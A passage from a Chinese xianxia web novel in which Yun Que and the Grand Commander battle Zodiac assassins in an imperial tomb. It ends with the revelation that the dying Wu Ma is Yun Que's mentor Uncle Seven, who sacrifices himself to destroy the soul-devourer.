“错了吧,我怎么觉得是有福你享,有难我当呢。” “都一样嘛,太尉大人没事就好。”云缺长出一口气。 “我是没事儿了,皇家麻烦了!这么些遗骸可怎么办呀。”龙桃欲哭无泪。 “好办,缝补起来不就行了,总量是一样的,肯定不会出现缺手缺脚的情况,只要缝上肯定没人认得出来。”云缺出主意道。 “是个办法,可找人缝补之后,消息还是会泄漏出去,杀人灭口这种事,老夫堂堂太尉可做不出来。”龙桃道。 “交给丞相大人处理,他手黑。”云缺道。 “不行!万万不可!”龙桃大惊道:“这么大的把柄要是被左老头抓在手里,我这辈子别想翻身!肯定被他处处要挟,给他当牛做马。” “那也好办,我自己来,反正这活儿我熟。”云缺道。 “你会缝尸?”龙桃道。 “是啊,我是专业的,手法绝对娴熟。”云缺道。 “你小子以前干什么的?”龙桃好奇道。 “仵作啊,成天和尸体打交道。”云缺道。 “有前途的职业!”龙桃挑起大拇指道:“这活儿交给你了,千万不能让外人知道,咱们爷俩现在就动手修复尸体,争取天亮前完工。” “太尉大人要是在这里缝尸到天亮,估计出去之后,咱们还得继续缝秦皇的尸体。”云缺道。 龙桃一拍脑门,道: “差点忘了!城里出了状况,陛下现在不知处境如何。” 云缺将皇宫与丞相府的诡异状况说了出来,并说明自己从大唐调来了高手相助。 “还是你小子机灵!哈哈,大唐高手前来天龙城援手,最好不过了,这次让星辰殿的家伙有来无回!”龙桃道。 “太尉大人为何来皇陵,莫非提前收到消息?”云缺道。 “别提了,是影卫引我到此。”龙桃指了指角落里的几具尸体道:“这几个家伙叛变了,用了调虎离山之计。” “恐怕不是几个影卫叛变,而是所有影卫一起叛变,否则皇宫不会漆黑一片,宛如死地。”云缺道。 “影卫集体叛变!怎么可能!那可是陛下的近卫军!”龙桃大惊。 “是噬魂师。” 云缺沉声道:“星辰殿派来了噬魂师,此人可以控制噬魂兽,影卫身上都有噬魂兽存在,在噬魂师的控制下必然会叛变。” 龙桃恍然道:“原来如此!影卫均为陛下在边军时的部下,当年皇城一战中几乎伤亡殆尽,为了保留这些部下,陛下用了星辰殿的手段将战士们改造为影卫,二十多年前便开始布局,好一盘大棋啊!” “我估计这次抵达皇城的生肖高手,应该不会少于四位。”云缺道。 “正好杀个痛快!”龙桃恨声道:“走!咱们杀回皇宫,援助陛下!” 云缺道了声好,跟着龙桃往地宫外走。 轰隆一声巨响! 地宫大门突然合拢,沙尘大起。 龙桃动了动鼻子,道: “毒力!屏住呼吸!” 大门落下所溅起的沙尘中,携带着无形的毒力,瞬间蔓延到整个大殿。 太尉提醒的同时,云缺以气机完全封闭了七窍。 对四品武夫来说,几个时辰不呼吸也没什么问题,有气机流转足以支撑。 然而云缺的神色变得冷峻起来。 他自己能屏住呼吸,背后的白无缺还是个婴孩! 一道传音出现在云缺的脑海当中。 “尽快出去,我扛不住多久,至多一刻钟就会窒息。” 听到白无缺的传音,云缺几步来到石门前,决云剑劈斩而下。 咔!咔!咔! 四品破军之力尽数施展,石门上多出几个细小的豁口。 “法阵!” 云缺低语了一句。 地宫被法阵封印,他与龙桃被困在其中。 “云小子让开,我来!” 龙桃大步冲向石门,右拳举起,拳头上闪烁起大片雷光。 二品武夫的全力一击,必定威力绝伦,云缺让到一旁,时刻提防着未知的危险。 以云缺判断,笼罩地宫的法阵即便再强,也架不住龙桃的力量,很快即可打开通道。 结果龙桃刚刚冲到大门近前,还没等出手,整个身体突然崩裂! 一张无形的大网出现在门口位置,龙桃由于冲出去的速度太快,直接撞在网上,本体被割裂。 云缺眼睁睁看着太尉的身体变成了无数肉块,纷纷落地。 一切发生得太快,云缺根本没有反应的时间,愣在原地。 不过下一刻,云缺发现龙桃碎裂的身体并无血液出现。 影身! 被割裂的并非龙桃本体,而是一副影身而已。 这时龙桃的声音突然响起在大殿深处。 “等了你半天,终于肯出手了。” 云缺扭头看去, 龙桃此时正站在一副高大的石棺之上,右手雷光闪闪。 轰!!! 龙桃一拳砸下。 那石棺立刻崩裂开来,化作满地齑粉! 一道黑影从石棺中掠出,飘到大殿顶端,好似一条幽灵,俯瞰着地面。 龙桃晃了晃手腕,抬头望向那黑影道: “三品化神,果然不好对付,看来你就是噬魂师。” 云缺定睛看去,空中的黑影隐隐约约并不真实,动用妖瞳居然也难以分辨真伪,无法断定是不是本体。 黑影穿着一身紫袍,兜帽里黑漆漆一片,看不见任何面孔,只能看到袖口处绣着的一个‘午’字。 午马! 云缺眼中的血色更浓了几分,杀意大起。 又一个生肖高手! “太尉大人,速战速决!”云缺冷声道。 “正有此意。”龙桃嘿嘿一笑,道:“云小子看好了,老夫亲自给你演练一番霸皇剑法!” “用这把剑!”云缺直接扔出决云剑。 龙桃抬手抓住,大笑道: “左老贼的这把剑,没想到我也能用得到,果然趁手!” 一句趁手说罢,龙桃踏步腾空,剑出如龙,大战午马! 云缺一边掐着时间,一边专注的记下龙桃的一招一式。 霸皇剑法名如其实,以霸道著称,没有防御的招式,完全以进攻为主。 剑招连绵不断,一招比一招更强,好似奔涌的大河,甚至大殿内起伏着惊涛骇浪之音。 二品武夫一旦施展出剑法,威力令人恐惧。 四周的石墙不断落下尘埃。 那不是灰尘,而是石屑! 石墙被外溢的剑气刮掉了一层又一层! 要不是龙桃刻意控制着剑气,这座皇陵地宫会被剑气所摧毁。 面对如此凶猛的剑道,午马施展出层层叠叠的石盾防御,身体不断后退,几乎没有还手之力。 三品化神本就难以对抗二品不灭,加上这里是地宫大殿,虽然足够宽敞,但对于三品以上的强者来说,依旧是一种牢笼般的困兽之地。 只要在地宫这类区域打斗,武夫拥有着绝对的压制力。 很快午马被逼到墙角。 龙桃一剑斩下,在石墙上辟出一道丈许深的裂痕。 午马的身影堪堪避开,动用了挪移的手段,出现在地面。 午马尚未站稳,第二个龙桃出现在其身后,决云剑横着斩出一道凶猛的剑气。 “往哪跑!” 龙桃冷喝着一剑斩落。 午马再次堪堪挪移,几乎紧贴着剑光避开。 随后的几个呼吸之间,大殿里出现了惊人的一幕。 午马如同鬼魅般出现在各个角落,而龙桃的影身如同跗骨之蛆,紧随而至。 剑光时而炸起在墙角,时而出现在头顶,时而又在地面斩出。 如果目力不够的人,会看到无数个午马与太尉互相追逐。 直至午马的身影落在大殿中间,龙桃出现在其头顶。 一剑斩落! “云小子看好了,霸皇剑法第一式,百皇剑!” 龙桃下斩的剑光,在其冷喝中分化为百道,每一道剑光背后都有一道剑气幻化的虚影,犹如百位帝王同时持剑而斩! 百道剑光组成一片剑幕,轰鸣而落。 午马避无可避,猛地拍向地面。 轰鸣大起! 砖石横飞,在瞬间组成百名石头巨人,齐齐举起双臂,硬抗百皇剑。 剧烈的震荡在地宫出现,尘土飞扬,剑气四溢。 百名石头巨人被百皇剑尽数销毁,化作满地碎石,但也抗住了太尉这一招绝学。 午马抬起左手,快速掐动法诀。 刹那间狂风呼啸! 漆黑的风旋拔地而起,将地面的碎石尽数卷起,从新组成百名石头巨人。 这些巨人比刚才还要强大,身外是风旋护体。 龙桃丝毫不惧,动用出百影身。 百名太尉,与百名石头巨人恶战的场面,堪称惊人。 云缺看得心惊不已。 同时对大秦历代先皇的下场表示哀悼。 地面上的枯骨全都碎了,基本连渣儿都没剩,云缺甚至亲眼看到太尉在战斗中一脚踩碎了一个骷髅头。 踩碎之后,人家连看都没看一眼。 原来之前太尉与僵尸周旋,不过是演戏给午马看的而已,龙桃根本不在乎大秦历代先皇的遗骸,真正目的是引出午马的真身! 云缺叹了口气,心说果然武夫就是武夫,基本是一路货色。 云缺觉得自己都算好心的,最起码还想着帮忙缝尸,给大秦历代先皇留个全尸。 太尉这一战,注定没全尸了,估计打完之后,太尉会随便弄些尸体,披上龙袍再重新安葬。 反正没人知道。 就是苦了大秦之后的历代帝王,逢年过节来祭拜的祖先,估计没一个姓赢的。 第670章 先从鞋子吃起 午马精通法术与遁法,比较难缠。 云缺不再耽搁,抓出妖刀加入战团,帮着太尉的影身对付石巨人。 必须尽快结束战斗,要不然白无缺扛不住。 大殿里的毒气虽然被剑气搅碎,但还有少量存在,融入空气中难以消失。 地宫本就没有外来的空气,想要完全驱散毒气,必须打开大门才行。 有云缺参战,石巨人被毁掉的速度变得更快。 盏茶的时间而已,百名石巨人尽数崩裂。 午马的本体出现在半空,龙桃直接动用出霸皇剑法的第二式,千皇剑! 千道剑气犹如铺天盖地的大网,完全将地宫笼罩,午马无处躲避,接连用出三种法术防御,仍旧被一道剑光切中了本体。 奇怪的是, 午马流出的血液居然是白色的,而且带着诡异的药香! 一缕缕奇香在伤口处冒出,飘飘荡荡,好似灵蛇。 这些香气钻进龙桃的影身当中,影身立刻随之摆动起来,然后举起刀剑,纷纷攻向龙桃的本体。 “药道高手,果然难缠。” 龙桃冷哼一声,围攻而来的影身相继破裂。 “看来阁下精通医术,不去行医问道,却为星辰殿作恶,可惜了你这一身手艺。” 龙桃说话间周身气机暴起,二品不灭的气机形成一尊虚影,从外表看去就像穿上了一身高大的重甲,变成一位天神一般。 调动全部气机,说明龙桃要施展全力了。 午马并不答言,始终沉默不语,双手快速结印,形成了残影。 在其结印的同时,能看到此人只有九根手指,右手缺了根小拇指。 从其身上流淌出的白色血液,在强大法术的驱使下幻化成一条白蟒! 白蟒在地面游走,所经之处留下一路白色的印记。 一座圆形的法阵随着白蟒的游走而形成,最后白蟒一头扎进法阵中心,消失了踪迹。 轰,轰,轰…… 地面开始轻微的震颤,仿佛有着某种强大的存在,正在地底敲击着地面。 云缺能感受到巨大的威胁,不由自主的退后了一步。 这一步退出,云缺直接离开了法阵外圈。 退出来了? 云缺有点奇怪,怎么自己能轻易出来呢。 午马的法阵,显然禁锢了空间,法阵不论有何用处,肯定处于阵中的敌人才会受到最大的波及。 轻易进出,还叫什么法阵,该不会是虚张声势? 龙桃往前踏出一步,冷喝道: “以奇药之力为引,沟通地底生灵,你的药道造诣居然到了如此地步,真是难得,可惜,祸乱我大秦,你今天必死无疑!” 龙桃话音刚落,法阵中心的地面突然泛起一圈白芒。 光晕中,爬出了一头异兽。 三首如狼,驼身蟒尾,四只龟爪,身上扛着厚重的背壳。 这头异兽发出牛一般的叫声,四爪踏动,散发出三阶妖王的气息。 午马纵身跃起,站在异兽背上,双手连动,再次施展法术。 飞雪大起,寒冬降临。 之前被摧毁的石块,第二次融合,在冰雪中组成了一尊高大的石像巨人,身体表面完全是冰层,坚不可摧。 石像巨人与三首异兽同时冲锋,合力大战龙桃。 龙桃往前一踏步,本体之外再次出现一道影身。 两个龙桃背对背,各自迎战强敌。 这次恶战,持续的时间更短。 动用出全力的大秦太尉,以碾压的姿态,摧毁了石像巨人,又将那三首异兽砍得头破血流,奄奄一息。 要不是背壳太过坚固,这头异兽比石像巨人死得都早。 “你不是对手,要么束手就擒,听从发落,要么,死!” 龙桃死死盯着午马,冷喝道。 “呵。” 午马发出一声短短的笑声,充满着不屑之意。 “很快,你就笑不出来了!” 龙桃怒喝中身形掠动,决云剑化作一条白龙般的剑气,轰鸣而至! 这道剑气之强,令旁观的云缺为之震撼。 云缺自己做了个比较,如果动用妖魂之力全力出手,自己的妖刀至少要斩出数百甚至上千刀,才有可能追上太尉的一剑之力。 四品破军与二品不灭之间,相差如此悬殊! 轰鸣中,午马与三首异兽被淹没在剑气之内。 龙桃这一剑,直接轰开了地宫的大门,将此地法阵完全摧毁。 “区区化神,也该挑战不灭武夫,找死!” 龙桃说完忽然目光一动,道:“想逃?没门儿!” 当大门被轰开,午马也因此被重创,浑身炸起血雾,但他靠着异兽的背壳勉强扛了下来,趁机驾驭那异兽,慌不择路的冲向地宫更深处的第三层。 龙桃飞身跃起追去,回头喊道: “云小子你去皇宫!我去杀那午马,生肖高手弄死一个少一个!” 声音还在地宫回荡,太尉的身影已经消失在通道之内。 龙桃的选择,相当正确。 生肖高手,并非无穷无尽,总共十二位,能杀一个,星辰殿就会少一分力量。 大门一开,立刻有新鲜空气涌来,大殿内残留的毒气开始散去。 云缺收起妖刀,松了口气。 被二品武夫盯上,午马今天应该在劫难逃。 下一步,云缺需要选择,先去皇宫还是先去丞相府。 沉吟中,云缺渐渐锁起眉峰。 午马,好像不是噬魂师…… 为何没有调集噬魂兽前来围困太尉? 而且午马动用的法术虽然强大,却并非针对元神。 如果是三品的噬魂师,恐怕太尉不会赢得如此轻松。 “午马在隐藏手段等着致命一击,还是他当真不是噬魂师?” 云缺的脑子在快速思索。 如果是前者,那么追出去的太尉一定会遭遇危机,三品境界的噬魂师如果全力动用神魂之力,二品武夫也未必扛得住。 毕竟武夫的元神强度,比不得其他派系的修行者,又没有灵气守护,很容易被突破到识海空间。 一旦元神被吞噬或者重创,那么龙桃的战力将会直转急下,很容易被对方翻盘。 若是后者的话,午马不是噬魂师,那么真正的噬魂师又在何处,在皇宫还是丞相府? 之前云缺猜测,噬魂师应该来对付元神最弱的太尉才对。 结果很可能猜错了。 “先去丞相府,救出左兰山在与先生合力攻进皇宫。” 云缺不在多想,做出了决定。 脚步刚刚迈动,云缺忽然听到了奇怪的声音。 咚。 咚,咚。 猛然回头,云缺盯住了摆放在墙角的一排石棺。 这些石棺原本装着大秦历代先皇遗骸,其余的全部开着,唯独一个封着棺材盖。 咚咚的响动,就是从这石棺里传来! 咚。 咚,咚。 声音再次响起,好像有人用手在敲击棺盖,不急不缓。 “什么人。” 云缺冷声道。 嘎吱,嘎吱…… 棺盖被推开,从里面坐起一个高大的身影,惨白的大脸如同厉鬼,一脸白斑,眼窝深陷,每只眼睛都有诡异这的双瞳。 “武夫果然都够蠢的,看你们打了半天,都没被发现,大秦也没什么高手嘛。” 怪人从石棺里站起,抻了个懒腰,大口一张,开始吸气。 墙角处的几名影卫尸体随之抖动起来,一些黑影从这些尸体上抽离,被怪人吞入口中。 云缺以妖瞳能清晰看到,那些黑影都是一种魂类的怪虫。 噬魂兽! 云缺的心头猛然沉了下去。 能吞吃噬魂兽的,必定是噬魂师! 更让云缺心惊的是,噬魂师居然始终就在地宫之内,自己与龙桃竟毫无察觉! 云缺动用了四品破军的气机与月魁的妖力,双重感知之下,竟然感知不到对方的存在。 若非以眼睛能看到,单凭感知的话,对面根本就没人! 这是什么能力! 高大的怪人跨出石棺,走向云缺,嘿嘿笑道: “一个不灭,一个破军,不错不错,这份大餐我很满意,先尝尝你这个餐前甜点,然后在去下面尝尝二品武夫的味道,小家伙,你自己选,让我先从什么地方吃起好呢。” 云缺不由自主的往后退了一步。 对方穿着一身宽大的紫袍,袖口绣着‘未’字。 噬魂师,未羊! 尽管感知不到对方的气息,但云缺能从月魁的状态,判断出对方的修为。 月魁正在识海空间微微颤抖! 能让三阶妖王的元神颤抖,说明对方必定是化羽无疑! 二阶的妖族! “先从鞋子吃起行不行,我鞋半年没刷了,嚼起来肯定够味儿。” 云缺一边胡扯,一边不着痕迹的捅了捅背后的白无缺。 面对二阶化羽,以云缺如今的战力基本没有胜算,能逃掉都算走运。 不过云缺有底气。 本身战力的确不行,但咱背后有人呐! 背着佛陀转世呢! “吃鞋子?嘎嘎嘎,你小子真有趣,这笑话说得不错,能把我逗笑,奖励你晚点死,我最后吃你脑子,放心,肯定让你在清醒的时候,看到自己的身体被我一口一口吃掉,嘎嘎嘎!” 未羊迈着方步,逼近云缺。 “不如你先吃不灭武夫,饭后再来吃我,我喜欢当宵夜,拿我打牙祭比较合适。” 云缺一边说着,一边往后倒退,同时又捅了捅白无缺。 云缺满心疑惑。 强敌当前,背后这家伙怎么不吭声了? “宵夜嘛,我不喜欢。” 未羊一步步逼近,怪笑道:“我喜欢每次都吃得饱饱的,饿了就吃大餐,嘿嘿!你这个开胃菜,别想着逃,在我面前,别说破军,即便你是归真武夫,一样逃不掉,嘎嘎!” 云缺停住脚步。 不是不想逃,而是洞开的大门被一条条黑蟒般的东西封住,互相缠绕密密麻麻,形如蛛网。 “既然你非得吃,商量一下,我有个表弟叫白无缺,白白胖胖的,你先吃他好了。” 云缺说完抬手往后背拍了一下,嘀咕道:“别装死,我要成夜宵了!” 还是没动静。 云缺转回头,掀开黑布瞄了一眼,顿时眼皮狂跳。 白无缺正翻着白眼,口吐白沫,昏了过去。 说坚持一刻钟,多出片刻这家伙都扛不住啊! 第671章 引君入瓮 最后的依仗消失,云缺陷入了绝险之地。 这下子云缺彻底没辙了,只能自己面对强大的噬魂师。 未羊距离越来越近,怪笑道: “买一送一,不错不错,小娃娃的口感最好,昨天才吃了几十个,骨头嚼起来又酥又脆,没怎么吃够,今天补上,多吃点。” 云缺稳了稳心神,道: “你不是喜欢吞噬元神么,噬魂师怎么开始吃人了。” 一边说一边借用月魁的妖力感知封门的黑蟒,寻找破绽之处。 必须一次破开大门冲出去,否则难有活路。 龙桃被引到第三层,白无缺昏死过去,现在这座大殿里只有自己,再无帮手。 面对一名全盛的二阶化羽,云缺即便再如何自信,也知道机会不多,很容易葬身于此。 “不懂了吧小家伙,元神这东西是没有味道的。” 未羊怪笑道:“就像甘蔗一样,你喜欢喝糖水,就得把甘蔗嚼烂,虽然挤水喝也没问题,但不爽啊!我牙口好,就喜欢有嚼头的东西,嘿嘿!” “明白了,你将活人当做甘蔗,这样吧,你别嚼我,我自动给你挤水喝。”云缺道。 “自动挤水?好哇,挤出来我瞧瞧!”未羊好奇道。 “你先站着别动,离我一丈远,然后张嘴接着。”云缺道。 未羊果然站定了脚步,距离云缺一丈多远,张开血盆大口,兴致勃勃的等着。 “别急,多等一会儿,我没喝水,现在没有尿。” 云缺说完身形倒转,妖刀暴起了恐怖的刀气,斩向大门! 轰!轰!轰! 接连数十刀落下。 封门的黑蟒大网被砍断一片又一片,却瞬间爬出新的黑蟒,源源不绝,根本砍不完! 未羊合上大嘴,恼怒道: “原来挤水是撒尿啊!你小子不地道,尿那玩意不好喝,又苦又涩。” 云缺放弃了劈斩大门,将妖刀对准未羊。 “看来你喝过了,噬魂师果然强大,什么都敢喝,不知屎,你尝没尝过,我正好有一泡,可以免费送你品尝。”云缺道。 “好哇!待会儿我把你整个吞下去,你有多少屎尿都无所谓,我吃定了,嘿嘿。”未羊怪笑道。 “噬魂师这么恶心吗,要不然你先把我洗干净。”云缺继续退向一旁,每倒退一步,脚下都印出个痕迹,落脚之际动用了破军之力。 “牙尖嘴利的小小破军,别以为我不知道你的心思,你逃不出去这里,想着拖延时间,等太尉回来帮忙。” 未羊怪笑道:“没用的,下边是专门给你们大秦太尉准备的葬身地,我在皇陵三层放了十万噬魂兽,用来消耗他的元神,等会儿噬魂兽耗空,二品不灭也到了油尽灯枯之时,到时候我再下去一口吞了他,嘎嘎嘎!多美完美的计划啊,我真是天才!” 云缺的目光变得愈发冷冽。 太尉察觉到此地是陷阱,为了引出幕后之人,不惜演戏,装作被大秦历代先皇追杀。 龙桃的确引出了午马,但也陷入了更深的陷阱。 地宫三层,才是真正的绝杀之地! 为了干掉不灭武夫,午马与未羊可谓煞费苦心。 “好算计!”云缺冷声道:“为了引君入瓮,你连同伴的生死都不顾了,午马必死。” “没法子呀,这叫舍不得孩子套不来狼,不给龙桃点甜头,他能中计吗,嘎嘎嘎!”未羊怪笑道:“我要开吃喽,小东西!” 未羊一身紫袍膨胀开来,本体扩大了一倍有余,怪脸变得愈发狰狞,大口开合,喷吐出腥臭之气。 二阶化羽的恐怖妖气瞬间笼罩而来。 变化的本体,使得嘴巴变得更大,这样才能一口吞掉云缺! 面对着二阶境界的强大妖物,云缺凛然不惧,大吼一声。 没出刀,先嘴炮。 “自己人也吃,你不怕咯牙吗,小心我爹掰了你满嘴大牙!” “嗯?你爹谁呀,吃完你,我再吃他!嘎嘎!” “有种你就去吃,不敢吃的话,你就是我孙子!” “放心,就算你爹是秦皇,我一样吃定了!” “我爹是辰龙,云长吉!” “辰龙?” 未羊张开的大嘴,忽然闭合,一双怪眼泛着幽绿的光泽,道:“胡说八道,辰龙怎么会有儿子?” “不信你可以去问呐,我叫云缺,你去问问云长吉,我是不是他生的!”云缺冷喝道。 虽然父子之情荡然无存,但父子关系倒是可以拿出来当做挡箭牌用用。 未羊的神色变得古怪起来,似信非信。 见对方如此模样,云缺继续道: “我爹是你的同僚,咱们也算一家人,行个方便,把门打开让我出去,放心,我不会破坏你们的计划。” “呵呵,你当我是蠢驴吗,二阶化羽的神智,不比你们人族低。” 未羊冷笑道:“就算你的辰龙之子,那又如何,正好我来尝尝味道,辰龙那家伙整天装神弄鬼的,早看他不顺眼了,他儿子如果味道不错,我在去把他也吃掉。” 云缺听完直接在心里开骂。 你们星辰殿就这么冷血? 生肖高手之间还能自相残杀呗。 云缺算看明白了,星辰殿,就是一处无情之地,没有任何感情可言。 魏墨城能将戌狗与亥猪当做祭品,足以看出星辰殿的行事之道。 为达到目的,弄死同僚根本不会犹豫! 没办法之下,云缺浑身妖气暴起,破军之力与月魁的力量尽数爆发开来,准备着接下来的殊死之战。 未羊怪笑道: “对嘛,这才像样子,拿出你的全力来,把你的气机激发到极致,热血武夫的味道,吃起来才最正宗!” 未羊再次张开大口,就要扑杀而来。 云缺双手握刀,即将动用影身而战。 就在双方剑拔弩张之际,在未羊与云缺之间的地面上,出现了一道光圈,午马的身影从地底浮现而出。 午马的伤势变得更重,身上多出十几道恐怖的伤口,白色的血液不断滴落,气息也比之前虚弱大半。 现身之后,午马声音沙哑的道: “你去下面,这里我来。” 未羊大为不满,道: “让我先吃口开胃菜,很快的,两三口的事儿。” “大秦太尉的战力非同小可,噬魂兽难以伤他,若是让他击杀了大量噬魂兽,我们两联手也难以将其除掉,别在这里浪费时间。”午马沙哑的道。 “行吧,我先下去弄死那个龙桃,你可别杀掉这小子,我要吃热乎的,把他打个半死就行,留着当宵夜。” 未羊说罢,走上了午马出现的光圈,身体开始下沉。 “小东西,别死哦,等着老子来吃你,嘎嘎嘎!” 未羊怪笑着没入了地底,彻底消失不见。 未羊去了地宫三层,对付龙桃,云缺这边立刻压力大减。 对付一头二阶化羽,云缺几乎没什么活路,不过午马是三品修为,云缺加上月魁,应对三品绝无问题。 “十影身!” 云缺直接动用了影身之法,化作十道身影,每一道都手持妖刀,开始猛攻。 局面已经明朗。 无论云缺还是龙桃,都必须在最快时间战胜强敌,否则另一方战场将陷入必死之地。 龙桃败,或者云缺败,午马与未羊都会合力击杀另外一人。 噬魂师的强大,云缺根本没有胜算,现如今是最佳良机,只要重创甚至干掉午马,大秦皇陵这处死地即可翻盘! 云缺再无保留,妖力加持之下,四品破军之力得到极大增强,几乎逼近了三品归真。 妖刀斩出的刀气凶猛无比,整个地宫内刀风暴起,刀影重叠。 午马的应对手段比较单一。 以法术凝聚出一块块石盾,抵挡着临身的刀气,他本体则在地面以自身血液勾画着诡异的符文。 午马在设置法阵,而且这座大阵尚未形成,就有一种阴森压迫之感。 让云缺浑身汗毛直立,心脏跟着快速跳动。 强烈的危机感,预示着这座大阵的恐怖之处,云缺只能加快进攻,亡命的劈斩妖刀。 一块又一块石盾在妖刀之下化作齑粉。 之所以没动用百影身,是因为云缺要汇聚力量,做出最后一击。 影身会均分战力,分化的越多,单独的影身战力越弱。 十道影身各自以不同的角度猛攻,终于伤到午马的本体。 但是午马根本不在意,拖着伤痕累累的本体,依旧在快速勾画符文。 整个大殿的地面,很快铺满了白色符文。 当午马画完最后一笔,云缺的影身相继破裂,只剩本体。 妖刀如同一条血色的蛟龙,从午马背后斩来。 噗!! 一刀,洞穿了午马的心窝! 嘀嗒,嘀嗒。 更多的白色鲜血从午马的伤口流出,染满了他脚下的一大块青砖。 这块青砖上的符文,随之变得灵动起来,开始扭曲晃动,好似活了过来。 嘀嗒,嘀嗒。 白血中,开始掺杂其他颜色的血液,赤橙黄绿青蓝紫加上黑白,总共有九种! 九种颜色的血液好似九条小溪,涌进地面的符文当中。 浓郁的药香在地面升腾,狂暴的药力居然形成的狂风,吹得云缺长发狂摆。 “好刀……” 午马发出沙哑的低语,三品化神灵气轰然爆发! 云缺整个人被震飞,撞在墙壁上,砸出个深深的大坑。 第672章 此生作恶,此生消 云缺的模样有些狼狈,宛如一根钉子,砸进墙壁。 至于伤势,可以说毫发无损。 四品破军的本体,加上妖力炼化的筋骨,云缺这副肉身即便三品强者全力轰击也能扛得住。 云缺有些不解。 自己此时的位置是在墙壁里,在大阵之外。 而午马正在艰难的掐动法诀,催动大阵。 我没在阵里,法阵用来对付谁? 晃了晃头,甩开头上的沙土,云缺死死盯着大阵中心的午马,全力防御。 法阵这种东西,未必陷入其中就会被困,有些法阵不会受到区域的限制,会在法阵中凝聚出恐怖的力量,来攻击远处的敌人。 云缺想要观察这座法阵真正的力量到底是什么,自己好采取相应的对策。 不是五行之力,也不是刀剑之类,更不是幻术类…… 云缺快速排除着法阵的种类,很快有所明悟。 随着法阵运转,云缺觉得自己的神魂出现了古怪的异动,仿佛法阵是一个巨大的漩涡,能吸走神魂! 针对元神的法阵! 这种法阵对云缺来说基本无效,因为文殿的存在,足以当做避风港。 别说法阵,即便噬魂师冲进识海,有文殿镇守,云缺的元神足以安然无恙。 除非敌人的力量能摧毁文殿。 显然,世上强者的神魂之力,达不到摧毁文殿的效果,即便撬动文殿都未必做得到。 云缺放心了许多,同时目光微动。 午马的法诀极其繁复,掐动时间很长,预示着大阵的威力极其恐怖。 云缺发现了一个不同寻常的地方,午马只有九根手指,缺了一根右手小拇指。 不容云缺多想,午马终于完成了法印。 他的伤口突然迸发出九彩之光,九道不同气息的药力狂涌而出,将大阵披上一层霞光。 嘭! 午马用尽全力,以双手拍在地面,沙哑着低吼: “葬魂大阵……起!” 轰隆隆!!!!!! 狂暴到惊人的药力冲天而起,形成九根颜色各异的光柱,刹那间将整个大殿填满。 云缺能清晰的感知到,大阵当中荡漾着一股毁灭神魂的恐怖力量! 九种药力,凝聚成一份毒药,而葬魂大阵便是药引。 看穿大阵的真相,云缺更加疑惑。 法阵直上直下,云缺自己所在的墙洞反而成了最安全的地方。 这葬魂大阵,到底用来对付谁? 很快,云缺得到了答案。 冲天而起的九道光柱,轰鸣着沉入地面,云缺所在的大殿里瞬间安静下来。 反向大阵! 云缺终于明白了大阵的目标,不是自己,而是太尉! 因为龙桃就在地底三层,就在这座大殿的下面! 无数噬魂兽的消耗,加上二阶化羽的噬魂师,再被葬魂大阵笼罩,三重杀招之下,龙桃怕是要废! “午马!” 云缺怒吼着再次斩出妖刀。 午马原本低垂着头,望着地面,听到声音抬起头,漆黑的兜帽里,闪过一道沧桑的目光。 噗!! 第二刀,再次切进午马的胸膛。 蹬,蹬蹬。 午马踉跄着往后退了几步,喷出一口鲜血。 这次的血迹,是红的。 葬魂大阵,耗尽了他所有药力,此刻到了油尽灯枯的濒死之境。 云缺双目赤红,怒喝道: “星辰殿的狗贼,给我死!!!” 大步前冲,云缺以妖刀扎着午马冲向一面四壁。 直接将午马钉死在墙壁上。 心窝接连遭遇两次贯穿的刀伤,午马注定难以活命。 他沙哑的咳嗽着,不断吐出鲜血。 “咳咳,咳咳咳……” 云缺神色冷冽,浑身的妖力与气机尽数灌入妖刀当中,冷声道: “杀了你,下一个是未羊,我早晚将你们星辰殿杀光屠尽!” “呵呵,好……咳咳咳……”午马发出虚弱的咳嗽声,气息越来越淡。 云缺的神色开始变了。 午马的笑声,听起来有种悲凉之感,仿佛他即将迎来的命运。 午马的宿命,是配合未羊当做诱饵,以他自己将太尉引到地宫三层,然后耗尽全部力量布下葬魂大阵,给于太尉致命一击。 这是云缺之前的判断。 然而听到午马那沙哑的一声‘好’之后,云缺的脑海里,不由得浮现出一道熟悉的身影。 这声音,云缺听过! 无比熟悉! 云缺的目光开始不受控制的晃动,缓缓向下,落在午马右手上。 那缺失的一根小拇指,此时在云缺眼里显得无比刺眼! 云缺的脸色开始变得愈发苍白,猛地松开手。 双手离开妖刀,这是猎妖人最大的忌讳,但是云缺顾不得了,猛地一把掀开了午马的兜帽。 兜帽之下,是一张老者的面孔,白须如雪,神色中除了疲惫之外,带着一份欣慰。 云缺的瞳孔快速颤抖着,手脚冰凉,脑海里一片空白。 “七叔……七叔!!!” 云缺无法置信的大吼出声,眼中的血瞳消失,取而代之的是满眼血丝。 眼前的老者不是别人,正是七叔,杨七古! 云缺想象过很多次与七叔相遇的画面,或是在某处灵草繁多的险地,或是在某个无人问津的小镇医馆,或是在两国大战的战场,可唯独没想过,七叔,会死于自己之手。 “为什么……七叔!你为什么是午马!” 云缺无法抑制的颤抖着,午马排列在生肖的第七位,而七叔的名字里就有个七字,是巧合,也是宿命。 杨七古缓缓瘫坐在地,面带着微笑,声音虚弱道: “人在江湖,身不由己……午马的任务至此结束,云缺,能死于你手,七叔瞑目……” “不!我不许你死!药呢,药呢!你身上的灵药呢,快拿出来!” 云缺像个孩子般疯狂的翻找着,除了一身血迹之外,杨七古身上再无别物。 “不用找了……七叔的药和命,全部用在大阵里,这是我最后的遗愿,杀掉鬼鸠。” 杨七古面无血色,却带着笑容道:“我死之后,不要立碑,不要修坟,就将我留在此地,七叔不想将名字留在世间,七叔其实早就该死了,我曾经陪着鬼鸠害死了太多人,亲眼目睹他生吞婴孩,却没有阻止,今天能杀掉他,七叔死而无憾。” 云缺的眼里泛着泪花儿。 原来葬魂大阵不是给太尉准备的,而是给未羊鬼鸠准备的! 云缺知道七叔是个有故事的人,也从未问过,不料七叔的故事如此惨烈,结局更是亦然。 “为什么不早说!为什么让我杀你!”云缺吼道。 “我必须死,否则融入本体的九味灵药无法完全激发,我,才是阵眼啊……” 杨七古艰难的抬起手,握住云缺的手腕道:“不必伤心,七叔早想去找红莲团聚,多活这么多年,够本儿了,云缺,你是七叔这一生最为得意的弟子,不是因为你修炼天赋如何过人,更非你有药理天赋,是因为你走的,是一条直路,不像七叔,走了太多弯路……” “咳咳咳……满城噬魂兽都在药力当中,药力混杂着葬魂之毒,天亮时,城里所有噬魂兽将全部覆灭。” “咳咳咳……人生如梦,过眼云烟,是是非非何必在意,能活得无悔便是上成,若早能看透该多好啊……” 